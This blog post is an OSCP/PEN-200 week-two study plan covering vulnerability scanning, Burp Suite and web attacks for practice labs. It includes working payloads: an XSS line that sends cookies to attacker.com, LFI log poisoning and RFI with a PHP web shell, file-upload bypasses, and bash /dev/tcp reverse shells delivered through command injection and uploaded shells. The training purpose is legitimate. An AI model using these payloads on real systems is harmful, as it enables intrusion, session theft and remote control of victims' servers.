Post

Reconnaissance, Scanning & Web Application Attacks

WEEK2 - Reconnaissance, Scanning & Web Application Attacks

Reconnaissance, Scanning & Web Application Attacks

πŸ›‘οΈ Week 2: Reconnaissance, Scanning & Web Application Attacks (Part 1)

OSCP / PEN-200 Study Plan β€” Complete Detail Guide


πŸ“Œ Overview

Building on Week 1 fundamentals, this week deepens reconnaissance and scanning techniques, transitioning into active vulnerability identification and web application exploitation. A significant portion is dedicated to understanding and exploiting common web vulnerabilities frequently encountered in OSCP labs and the exam.

πŸ’‘ Highlight: The week includes a mentor-reviewed Bash automation challenge that brings your scripting skills into a real offensive workflow.


🎯 Learning Objectives

By the end of Week 2, you should be able to:

  • Perform comprehensive vulnerability scanning using automated tools (Nessus, Nmap NSE)
  • Identify and exploit common web vulnerabilities: XSS, LFI, RFI, Command Injection
  • Use Burp Suite effectively for web application analysis and exploitation
  • Develop and refine Bash scripts for automating reconnaissance tasks
  • Understand file upload vulnerabilities and bypass common restrictions

πŸ“š Key Topics & Tools


πŸ” 1. Vulnerability Scanning

πŸ”§ Nessus

Nessus is a powerful, industry-standard vulnerability scanner. Focus on:

TopicDescription
InstallationInstall Nessus on Kali Linux; configure the web UI
ComponentsUnderstand policies, scan templates, and plugins
Unauthenticated ScansDiscover open ports and banners without credentials
Authenticated ScansUse credentials to perform deep OS-level checks
Analyzing ResultsInterpret severity ratings (Critical/High/Medium/Low/Info)
PluginsUnderstand how Nessus plugins map to CVEs and vulnerabilities

Key Tasks:

  • Run both authenticated and unauthenticated scans against a target VM
  • Export and analyze the Nessus report
  • Identify exploitable findings and cross-reference with ExploitDB

πŸ”§ Nmap Scripting Engine (NSE) β€” Vulnerability Scripts

1
2
3
4
5
6
7
8
9
10
11
# Run vulnerability category scripts against a target
nmap --script vuln -sV -p- <target_ip>

# Run specific CVE check
nmap --script vuln --script-args=unsafe=1 -p 445 <target_ip>

# Discover SMB vulnerabilities (e.g., EternalBlue)
nmap --script smb-vuln* -p 445 <target_ip>

# HTTP-based vulnerability scripts
nmap --script http-vuln* -p 80,443 <target_ip>

NSE Script Categories to Know:

CategoryPurpose
vulnGeneral vulnerability detection
exploitAttempts to exploit identified vulnerabilities
authTests for weak/default credentials
bruteBrute force attacks
safeNon-destructive information gathering

🌐 2. Web Application Attacks (Part 1)


πŸ”§ Burp Suite β€” Core Setup & Workflow

Burp Suite Community Edition is sufficient for OSCP.

Initial Setup:

1
2
3
4
1. Open Burp Suite β†’ Proxy β†’ Options β†’ Add listener on 127.0.0.1:8080
2. Configure browser (Firefox) to use 127.0.0.1:8080 as HTTP proxy
3. Install Burp's CA certificate in the browser (for HTTPS interception)
4. Turn Intercept ON to begin capturing requests

Key Burp Suite Modules:

ModuleDescriptionUse Case
ProxyIntercepts HTTP/S trafficCapture and inspect all requests/responses
RepeaterManually re-send modified requestsTest parameter manipulation, auth bypass
IntruderAutomated fuzzing and brute forcePayloads for XSS, SQLi, directory brute
DecoderEncode/decode URL, Base64, HTMLAnalyze obfuscated inputs
ComparerDiff two requests or responsesIdentify changes in application behavior

Tips:

  • Right-click any request β†’ Send to Repeater to manually modify and resend
  • Use Intruder with a wordlist for parameter fuzzing

πŸ”₯ Cross-Site Scripting (XSS)

XSS allows attackers to inject malicious scripts into web pages viewed by other users.

Types of XSS:

TypeDescriptionPersistence
Reflected XSSPayload is in the URL/request, reflected back in the responseNon-persistent
Stored XSSPayload is saved in the database and served to all visitorsPersistent
DOM-based XSSPayload executes through client-side JavaScript DOM manipulationNon-persistent

Basic Payloads to Try:

1
2
3
4
5
6
7
8
9
10
11
12
<!-- Basic alert test -->
<script>alert('XSS')</script>

<!-- Bypass single quote filters -->
<script>alert(String.fromCharCode(88,83,83))</script>

<!-- Event handler-based -->
<img src=x onerror="alert('XSS')">
<svg onload="alert('XSS')">

<!-- Cookie stealing (for stored/reflected) -->
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>

Filter Bypass Techniques:

  • Case variation: <ScRiPt>alert(1)</sCrIpT>
  • Double encoding: %253Cscript%253E
  • Null bytes: <scr\0ipt>alert(1)</scr\0ipt>
  • Using JavaScript pseudo-protocol: javascript:alert(1)

πŸ“‚ Directory Traversal (Path Traversal)

Exploiting improper input validation to read files outside the web root.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Basic traversal
http://target.com/view?file=../../../../etc/passwd

# URL encoded
http://target.com/view?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

# Double URL encoded
http://target.com/view?file=%252e%252e%252f%252e%252e%252fetc%252fpasswd

# With null byte (older PHP versions)
http://target.com/view?file=../../../../etc/passwd%00

# Windows paths
http://target.com/view?file=..\..\..\..\windows\win.ini

Common Files to Target:

OSPathContent
Linux/etc/passwdUser accounts
Linux/etc/shadowPassword hashes (root required)
Linux/proc/self/environEnvironment variables
WindowsC:\windows\win.iniWindows config
WindowsC:\windows\system32\drivers\etc\hostsHost file

πŸ“ Local File Inclusion (LFI) / Remote File Inclusion (RFI)

LFI/RFI occur when user-supplied input is passed to a include() or require() function.

LFI Examples:

1
2
3
4
5
6
7
8
9
10
11
12
# Read sensitive files
http://target.com/page?lang=../../../../etc/passwd

# PHP session poisoning
http://target.com/page?lang=../../../../var/lib/php/sessions/sess_<SESSION_ID>

# Log poisoning (inject PHP into Apache log, then LFI the log)
# Step 1: Inject PHP code via User-Agent header
curl -A "<?php system($_GET['cmd']); ?>" http://target.com/

# Step 2: LFI the log file
http://target.com/page?lang=../../../../var/log/apache2/access.log&cmd=id

RFI Examples:

1
2
3
4
5
6
7
8
# Host a malicious PHP file on your attack machine
# In attacker machine: python3 -m http.server 80
# malicious.php: <?php system($_GET['cmd']); ?>

http://target.com/page?lang=http://attacker_ip/malicious.php&cmd=id

# PHP filter wrapper for LFI to read source code
http://target.com/page?lang=php://filter/convert.base64-encode/resource=index.php

πŸ’‰ Command Injection

When user input is passed to shell commands without sanitization.

Injection Separators:

SeparatorOSBehavior
;LinuxExecute both commands
&&BothExecute second only if first succeeds
\|BothExecute second only if first fails
\|BothPipe output of first into second
\n / %0aLinuxNewline separator
` (backtick)LinuxExecute in subshell
$()LinuxCommand substitution

Blind Command Injection (Out-of-Band):

1
2
3
4
5
6
7
8
# Time-based blind injection
127.0.0.1; sleep 5

# DNS exfiltration (using Burp Collaborator or interactsh)
127.0.0.1; nslookup attacker-callback.com

# Reverse shell via command injection
127.0.0.1; bash -i >& /dev/tcp/attacker_ip/4444 0>&1

πŸ“€ File Upload Vulnerabilities

Exploiting improper file type validation to upload malicious files (web shells).

Common Bypass Techniques:

TechniqueMethod
Extension bypassRename shell.php to shell.php.jpg or shell.phtml
MIME type spoofingChange Content-Type: application/x-php to image/jpeg
Magic bytes bypassAdd GIF89a at the start of a PHP file
Double extensionshell.jpg.php
Case manipulationshell.PhP, shell.PHP
Null byteshell.php%00.jpg (older systems)

Basic PHP Web Shell:

1
<?php system($_GET['cmd']); ?>

GIF + PHP hybrid (bypass content checks):

1
2
GIF89a;
<?php system($_GET['cmd']); ?>

After upload, locate the file and execute:

1
2
3
http://target.com/uploads/shell.php?cmd=id
http://target.com/uploads/shell.php?cmd=whoami
http://target.com/uploads/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/attacker_ip/4444+0>%261'

πŸ”΄ Bash Automation Challenge (Mentor-Reviewed)

This week’s hands-on challenge requires you to write a Bash recon automation script.

Challenge Goals:

  • Automate nmap scanning (open ports β†’ service detection β†’ vuln scripts)
  • Parse results and highlight potential vulnerabilities
  • Auto-trigger web checks if HTTP/HTTPS ports are found

Starter Template:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/bin/bash
# Week 2 OSCP Recon Automation Script

TARGET=$1
OUTPUT_DIR="./recon_$TARGET"
mkdir -p $OUTPUT_DIR

echo "[*] Starting Nmap port scan on $TARGET..."
nmap -sS -p- --min-rate 5000 -oN $OUTPUT_DIR/ports.txt $TARGET

echo "[*] Extracting open ports..."
PORTS=$(grep "^[0-9]" $OUTPUT_DIR/ports.txt | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')

echo "[*] Running service/version scan on ports: $PORTS"
nmap -sV -sC -p $PORTS -oN $OUTPUT_DIR/services.txt $TARGET

echo "[*] Running vulnerability scripts..."
nmap --script vuln -p $PORTS -oN $OUTPUT_DIR/vulns.txt $TARGET

# Check for web ports
if echo "$PORTS" | grep -qE '(80|443|8080|8443)'; then
    echo "[*] Web port detected. Running HTTP checks..."
    # Add gobuster, nikto, curl checks here
    nikto -h http://$TARGET -o $OUTPUT_DIR/nikto.txt
fi

echo "[+] Recon complete. Results saved in $OUTPUT_DIR/"

βœ… Submit this script to your mentor with at least 3 test runs against Proving Ground labs.


πŸ‹οΈ Practice Resources

OffSec PEN-200 Labs (Required Reading & Labs)

ModuleFocus Area
Security Testing with Burp SuiteProxy, Repeater, Intruder
Enumerating and Abusing APIsREST API attack surface
Privilege Escalation via XSSStored XSS β†’ session hijack
Directory TraversalPath traversal exploitation
LFI / RFIFile inclusion to RCE
OS Command InjectionWeb input β†’ shell

MachineDifficultyKey Skills
helpdeskEasyWeb application enumeration
lawEasyCommand injection
paydayEasyLFI / credential disclosure
uc404EasyWeb fuzzing, file upload
xposedapiMediumAPI enumeration and exploitation
ApexMediumMulti-vector web attack
reconstructionMediumChained web vulnerabilities
slortMediumRFI to reverse shell

πŸ”‘ Approach each box by: Enumerate β†’ Identify vulnerability type β†’ Exploit manually β†’ Automate with Burp/scripts


🌐 External Resources

ResourcePurposeLink
PortSwigger Web Security AcademyBest free hands-on web vuln labsportswigger.net/web-security
HackTricksComprehensive technique referencebook.hacktricks.xyz
PayloadsAllTheThingsExploit payload cheatsheetsGitHub: swisskyrepo
RevShellsReverse shell generatorrevshells.com
GTFOBinsUnix binary exploitationgtfobins.github.io

πŸ“… Suggested Daily Schedule (7-Day Breakdown)

DayFocusHours
Day 1Nessus installation, authenticated/unauthenticated scans3–4 hrs
Day 2Nmap NSE vuln scripts + analyzing results3–4 hrs
Day 3Burp Suite setup, XSS (Reflected + Stored) β€” PortSwigger labs4–5 hrs
Day 4Directory Traversal + LFI/RFI + PEN-200 modules4–5 hrs
Day 5Command Injection + File Upload vulnerabilities4–5 hrs
Day 6Proving Ground labs: helpdesk, law, payday, uc4045–6 hrs
Day 7Bash automation script β†’ mentor review + catch-up / review3–4 hrs

βœ… Week 2 Checklist

Vulnerability Scanning

  • Nessus installed and functional
  • Completed authenticated and unauthenticated scans
  • Analyzed and interpreted Nessus results
  • Used nmap --script vuln against at least 3 targets

Web Application Attacks

  • Burp Suite proxy set up and intercepting traffic
  • Exploited Reflected XSS on PortSwigger lab
  • Exploited Stored XSS on PortSwigger lab
  • Completed Directory Traversal lab (read /etc/passwd)
  • Exploited LFI vulnerability
  • Attempted RFI exploitation (or PHP filter wrapper)
  • Exploited at least one Command Injection scenario
  • Bypassed file upload restriction and executed a web shell

Proving Ground Labs

  • Completed helpdesk
  • Completed law
  • Completed payday
  • Completed at least one medium box (xposedapi / slort)

Bash Automation

  • Written and tested the recon automation script
  • Submitted for mentor review

πŸ“ Key Takeaways

  1. Always try manual exploitation first β€” understand the vulnerability before reaching for automated tools.
  2. Burp Suite is your best friend β€” master Repeater and Intruder before the exam.
  3. Web vulnerabilities chain together β€” LFI + log poisoning β†’ RCE is a classic OSCP path.
  4. Document everything β€” Take screenshots, save requests/responses, and maintain detailed notes.
  5. Think like a developer β€” where would you trust user input? That’s where vulnerabilities live.

_Plan prepared for OSCP / PEN-200 Week 2Reconnaissance β†’ Vulnerability Scanning β†’ Web Application Attacks_

You can find me online at:

My signature image

This post is licensed under CC BY 4.0 by the author.